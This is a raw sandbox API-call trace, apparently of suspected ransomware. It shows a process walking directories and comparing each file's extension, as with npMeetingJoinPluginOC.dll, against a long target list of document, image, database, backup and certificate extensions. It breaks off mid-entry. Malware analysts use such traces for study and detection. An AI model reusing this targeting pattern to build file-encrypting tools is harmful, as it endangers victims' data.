lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582d88 [0081.335] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.335] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0081.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins") returned 82 [0081.335] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins") returned 1 [0081.335] lstrlenW (lpString="plugins") returned 7 [0081.335] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="plugins") returned -1 [0081.335] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3e5ba88 [0081.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins") returned 82 [0081.336] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins\\*", lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x582ec8 [0081.336] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0081.336] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npMeetingJoinPluginOC.dll", cAlternateFileName="NPMEET~1.DLL")) returned 1 [0081.336] lstrlenW (lpString="npMeetingJoinPluginOC.dll") returned 25 [0081.337] lstrlenW (lpString=".1cd") returned 4 [0081.337] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.337] lstrlenW (lpString=".3ds") returned 4 [0081.337] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0081.337] lstrlenW (lpString=".3fr") returned 4 [0081.337] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0081.337] lstrlenW (lpString=".3g2") returned 4 [0081.337] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0081.337] lstrlenW (lpString=".3gp") returned 4 [0081.337] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0081.337] lstrlenW (lpString=".7z") returned 3 [0081.337] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.337] lstrlenW (lpString=".accda") returned 6 [0081.337] lstrcmpiW (lpString1=".accda", lpString2="OC.dll") returned -1 [0081.337] lstrlenW (lpString=".accdb") returned 6 [0081.337] lstrcmpiW (lpString1=".accdb", lpString2="OC.dll") returned -1 [0081.337] lstrlenW (lpString=".accdc") returned 6 [0081.337] lstrcmpiW (lpString1=".accdc", lpString2="OC.dll") returned -1 [0081.337] lstrlenW (lpString=".accde") returned 6 [0081.337] lstrcmpiW (lpString1=".accde", lpString2="OC.dll") returned -1 [0081.337] lstrlenW (lpString=".accdt") returned 6 [0081.337] lstrcmpiW (lpString1=".accdt", lpString2="OC.dll") returned -1 [0081.337] lstrlenW (lpString=".accdw") returned 6 [0081.337] lstrcmpiW (lpString1=".accdw", lpString2="OC.dll") returned -1 [0081.337] lstrlenW (lpString=".adb") returned 4 [0081.337] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0081.337] lstrlenW (lpString=".adp") returned 4 [0081.337] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0081.337] lstrlenW (lpString=".ai") returned 3 [0081.337] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0081.337] lstrlenW (lpString=".ai3") returned 4 [0081.337] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0081.337] lstrlenW (lpString=".ai4") returned 4 [0081.337] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0081.337] lstrlenW (lpString=".ai5") returned 4 [0081.338] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".ai6") returned 4 [0081.338] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".ai7") returned 4 [0081.338] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".ai8") returned 4 [0081.338] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".anim") returned 5 [0081.338] lstrcmpiW (lpString1=".anim", lpString2="C.dll") returned -1 [0081.338] lstrlenW (lpString=".arw") returned 4 [0081.338] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".as") returned 3 [0081.338] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0081.338] lstrlenW (lpString=".asa") returned 4 [0081.338] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".asc") returned 4 [0081.338] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".ascx") returned 5 [0081.338] lstrcmpiW (lpString1=".ascx", lpString2="C.dll") returned -1 [0081.338] lstrlenW (lpString=".asm") returned 4 [0081.338] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".asmx") returned 5 [0081.338] lstrcmpiW (lpString1=".asmx", lpString2="C.dll") returned -1 [0081.338] lstrlenW (lpString=".asp") returned 4 [0081.338] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".aspx") returned 5 [0081.338] lstrcmpiW (lpString1=".aspx", lpString2="C.dll") returned -1 [0081.338] lstrlenW (lpString=".asr") returned 4 [0081.338] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".asx") returned 4 [0081.338] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".avi") returned 4 [0081.338] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".avs") returned 4 [0081.338] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0081.338] lstrlenW (lpString=".backup") returned 7 [0081.339] lstrcmpiW (lpString1=".backup", lpString2="nOC.dll") returned -1 [0081.339] lstrlenW (lpString=".bak") returned 4 [0081.339] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0081.339] lstrlenW (lpString=".bay") returned 4 [0081.339] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0081.339] lstrlenW (lpString=".bd") returned 3 [0081.339] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0081.339] lstrlenW (lpString=".bin") returned 4 [0081.339] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0081.339] lstrlenW (lpString=".bmp") returned 4 [0081.339] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0081.339] lstrlenW (lpString=".bz2") returned 4 [0081.339] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.339] lstrlenW (lpString=".c") returned 2 [0081.339] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0081.339] lstrlenW (lpString=".cdr") returned 4 [0081.339] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0081.339] lstrlenW (lpString=".cer") returned 4 [0081.339] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0081.339] lstrlenW (lpString=".cf") returned 3 [0081.339] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0081.339] lstrlenW (lpString=".cfc") returned 4 [0081.339] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0081.339] lstrlenW (lpString=".cfm") returned 4 [0081.339] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0081.339] lstrlenW (lpString=".cfml") returned 5 [0081.339] lstrcmpiW (lpString1=".cfml", lpString2="C.dll") returned -1 [0081.339] lstrlenW (lpString=".cfu") returned 4 [0081.339] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0081.339] lstrlenW (lpString=".chm") returned 4 [0081.339] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0081.339] lstrlenW (lpString=".cin") returned 4 [0081.339] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0081.339] lstrlenW (lpString=".class") returned 6 [0081.339] lstrcmpiW (lpString1=".class", lpString2="OC.dll") returned -1 [0081.339] lstrlenW (lpString=".clx") returned 4 [0081.339] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".config") returned 7 [0081.340] lstrcmpiW (lpString1=".config", lpString2="nOC.dll") returned -1 [0081.340] lstrlenW (lpString=".cpp") returned 4 [0081.340] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".cr2") returned 4 [0081.340] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".crt") returned 4 [0081.340] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".crw") returned 4 [0081.340] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".cs") returned 3 [0081.340] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0081.340] lstrlenW (lpString=".css") returned 4 [0081.340] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".csv") returned 4 [0081.340] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".cub") returned 4 [0081.340] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".dae") returned 4 [0081.340] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".dat") returned 4 [0081.340] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".db") returned 3 [0081.340] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0081.340] lstrlenW (lpString=".dbf") returned 4 [0081.340] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".dbx") returned 4 [0081.340] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".dc3") returned 4 [0081.340] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".dcm") returned 4 [0081.340] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".dcr") returned 4 [0081.340] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".der") returned 4 [0081.340] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0081.340] lstrlenW (lpString=".dib") returned 4 [0081.340] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0081.341] lstrlenW (lpString=".dic") returned 4 [0081.341] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0081.341] lstrlenW (lpString=".dif") returned 4 [0081.341] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0081.341] lstrlenW (lpString=".divx") returned 5 [0081.341] lstrcmpiW (lpString1=".divx", lpString2="C.dll") returned -1 [0081.341] lstrlenW (lpString=".djvu") returned 5 [0081.341] lstrcmpiW (lpString1=".djvu", lpString2="C.dll") returned -1 [0081.341] lstrlenW (lpString=".dng") returned 4 [0081.341] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0081.341] lstrlenW (lpString=".doc") returned 4 [0081.341] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.341] lstrlenW (lpString=".docm") returned 5 [0081.341] lstrcmpiW (lpString1=".docm", lpString2="C.dll") returned -1 [0081.341] lstrlenW (lpString=".docx") returned 5 [0081.341] lstrcmpiW (lpString1=".docx", lpString2="C.dll") returned -1 [0081.341] lstrlenW (lpString=".dot") returned 4 [0081.341] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0081.341] lstrlenW (lpString=".dotm") returned 5 [0081.341] lstrcmpiW (lpString1=".dotm", lpString2="C.dll") returned -1 [0081.341] lstrlenW (lpString=".dotx") returned 5 [0081.341] lstrcmpiW (lpString1=".dotx", lpString2="C.dll") returned -1 [0081.341] lstrlenW (lpString=".dpx") returned 4 [0081.341] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0081.341] lstrlenW (lpString=".dqy") returned 4 [0081.341] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0081.341] lstrlenW (lpString=".dsn") returned 4 [0081.341] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0081.341] lstrlenW (lpString=".dt") returned 3 [0081.341] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0081.341] lstrlenW (lpString=".dtd") returned 4 [0081.341] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0081.341] lstrlenW (lpString=".dwg") returned 4 [0081.341] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0081.341] lstrlenW (lpString=".dwt") returned 4 [0081.341] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0081.341] lstrlenW (lpString=".dx") returned 3 [0081.342] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0081.342] lstrlenW (lpString=".dxf") returned 4 [0081.342] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".edml") returned 5 [0081.342] lstrcmpiW (lpString1=".edml", lpString2="C.dll") returned -1 [0081.342] lstrlenW (lpString=".efd") returned 4 [0081.342] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".elf") returned 4 [0081.342] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".emf") returned 4 [0081.342] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".emz") returned 4 [0081.342] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".epf") returned 4 [0081.342] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".eps") returned 4 [0081.342] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".epsf") returned 5 [0081.342] lstrcmpiW (lpString1=".epsf", lpString2="C.dll") returned -1 [0081.342] lstrlenW (lpString=".epsp") returned 5 [0081.342] lstrcmpiW (lpString1=".epsp", lpString2="C.dll") returned -1 [0081.342] lstrlenW (lpString=".erf") returned 4 [0081.342] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".exr") returned 4 [0081.342] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".f4v") returned 4 [0081.342] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".fido") returned 5 [0081.342] lstrcmpiW (lpString1=".fido", lpString2="C.dll") returned -1 [0081.342] lstrlenW (lpString=".flm") returned 4 [0081.342] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".flv") returned 4 [0081.342] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".frm") returned 4 [0081.342] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0081.342] lstrlenW (lpString=".fxg") returned 4 [0081.342] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".geo") returned 4 [0081.343] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".gif") returned 4 [0081.343] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".grs") returned 4 [0081.343] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".gz") returned 3 [0081.343] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0081.343] lstrlenW (lpString=".h") returned 2 [0081.343] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0081.343] lstrlenW (lpString=".hdr") returned 4 [0081.343] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".hpp") returned 4 [0081.343] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".hta") returned 4 [0081.343] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".htc") returned 4 [0081.343] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".htm") returned 4 [0081.343] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".html") returned 5 [0081.343] lstrcmpiW (lpString1=".html", lpString2="C.dll") returned -1 [0081.343] lstrlenW (lpString=".icb") returned 4 [0081.343] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".ics") returned 4 [0081.343] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".iff") returned 4 [0081.343] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".inc") returned 4 [0081.343] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".indd") returned 5 [0081.343] lstrcmpiW (lpString1=".indd", lpString2="C.dll") returned -1 [0081.343] lstrlenW (lpString=".ini") returned 4 [0081.343] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".iqy") returned 4 [0081.343] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0081.343] lstrlenW (lpString=".j2c") returned 4 [0081.343] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".j2k") returned 4 [0081.344] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".java") returned 5 [0081.344] lstrcmpiW (lpString1=".java", lpString2="C.dll") returned -1 [0081.344] lstrlenW (lpString=".jp2") returned 4 [0081.344] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".jpc") returned 4 [0081.344] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".jpe") returned 4 [0081.344] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".jpeg") returned 5 [0081.344] lstrcmpiW (lpString1=".jpeg", lpString2="C.dll") returned -1 [0081.344] lstrlenW (lpString=".jpf") returned 4 [0081.344] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".jpg") returned 4 [0081.344] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".jpx") returned 4 [0081.344] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".js") returned 3 [0081.344] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0081.344] lstrlenW (lpString=".jsf") returned 4 [0081.344] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".json") returned 5 [0081.344] lstrcmpiW (lpString1=".json", lpString2="C.dll") returned -1 [0081.344] lstrlenW (lpString=".jsp") returned 4 [0081.344] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".kdc") returned 4 [0081.344] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".kmz") returned 4 [0081.344] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".kwm") returned 4 [0081.344] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0081.344] lstrlenW (lpString=".lasso") returned 6 [0081.344] lstrcmpiW (lpString1=".lasso", lpString2="OC.dll") returned -1 [0081.344] lstrlenW (lpString=".lbi") returned 4 [0081.344] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".lgf") returned 4 [0081.345] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".lgp") returned 4 [0081.345] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".log") returned 4 [0081.345] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".m1v") returned 4 [0081.345] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".m4a") returned 4 [0081.345] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".m4v") returned 4 [0081.345] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".max") returned 4 [0081.345] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".md") returned 3 [0081.345] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0081.345] lstrlenW (lpString=".mda") returned 4 [0081.345] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".mdb") returned 4 [0081.345] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".mde") returned 4 [0081.345] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".mdf") returned 4 [0081.345] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".mdw") returned 4 [0081.345] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".mef") returned 4 [0081.345] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".mft") returned 4 [0081.345] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".mfw") returned 4 [0081.345] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".mht") returned 4 [0081.345] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0081.345] lstrlenW (lpString=".mhtml") returned 6 [0081.345] lstrcmpiW (lpString1=".mhtml", lpString2="OC.dll") returned -1 [0081.345] lstrlenW (lpString=".mka") returned 4 [0081.346] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".mkidx") returned 6 [0081.346] lstrcmpiW (lpString1=".mkidx", lpString2="OC.dll") returned -1 [0081.346] lstrlenW (lpString=".mkv") returned 4 [0081.346] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".mos") returned 4 [0081.346] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".mov") returned 4 [0081.346] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".mp3") returned 4 [0081.346] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".mp4") returned 4 [0081.346] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".mpeg") returned 5 [0081.346] lstrcmpiW (lpString1=".mpeg", lpString2="C.dll") returned -1 [0081.346] lstrlenW (lpString=".mpg") returned 4 [0081.346] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".mpv") returned 4 [0081.346] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".mrw") returned 4 [0081.346] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".msg") returned 4 [0081.346] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".mxl") returned 4 [0081.346] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".myd") returned 4 [0081.346] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".myi") returned 4 [0081.346] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".nef") returned 4 [0081.346] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".nrw") returned 4 [0081.346] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".obj") returned 4 [0081.346] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".odb") returned 4 [0081.346] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0081.346] lstrlenW (lpString=".odc") returned 4 [0081.347] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".odm") returned 4 [0081.347] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".odp") returned 4 [0081.347] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".ods") returned 4 [0081.347] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".oft") returned 4 [0081.347] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".one") returned 4 [0081.347] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".onepkg") returned 7 [0081.347] lstrcmpiW (lpString1=".onepkg", lpString2="nOC.dll") returned -1 [0081.347] lstrlenW (lpString=".onetoc2") returned 8 [0081.347] lstrcmpiW (lpString1=".onetoc2", lpString2="inOC.dll") returned -1 [0081.347] lstrlenW (lpString=".opt") returned 4 [0081.347] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".oqy") returned 4 [0081.347] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".orf") returned 4 [0081.347] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".p12") returned 4 [0081.347] 